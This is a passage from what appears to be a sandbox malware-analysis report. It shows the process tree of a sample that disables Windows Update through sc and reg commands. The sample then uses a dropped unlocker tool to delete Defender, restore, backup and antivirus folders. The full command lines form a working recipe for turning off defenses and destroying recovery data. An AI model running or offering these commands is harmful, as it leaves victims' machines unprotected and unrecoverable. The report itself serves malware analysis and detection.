    - Launches sc.exe
    PID:4736
- - C:\Windows\SysWOW64\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1748
- - C:\Windows\SysWOW64\sc.exe
    sc config dosvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4660
- - C:\Windows\SysWOW64\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3612
- - C:\Windows\SysWOW64\sc.exe
    sc config bits start= disabled
    3⤵
    - Launches sc.exe
    PID:1256
- - C:\Windows\SysWOW64\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4896
- - C:\Windows\SysWOW64\sc.exe
    sc config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4552
- - C:\Windows\SysWOW64\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4020
- - C:\Windows\SysWOW64\sc.exe
    sc config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2316
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4464
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:644
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2036
- - C:\Windows\SysWOW64\reg.exe
    reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4300
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4332
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4316
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3748
- - C:\Windows\SysWOW64\reg.exe
    reg unload HKLM\TEMP_SYSTEM
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3548
- - C:\Users\Admin\AppData\Local\Temp\saked\mika.exe
    mika /delwd
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Sets service image path in registry
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:4692
    - - C:\Windows\SysWOW64\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:3160
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:5020
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4496
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4592"
      4⤵
      Executes a command shell one-liner
      PID:4980
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /pid "4592"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4920
- - C:\Users\Admin\AppData\Local\Temp\saked\mika.exe
    mika /DelWD
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Sets service image path in registry
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:888
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      Executes a command shell one-liner
      PID:1020
    - - C:\Windows\SysWOW64\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:1960
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:2924
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstall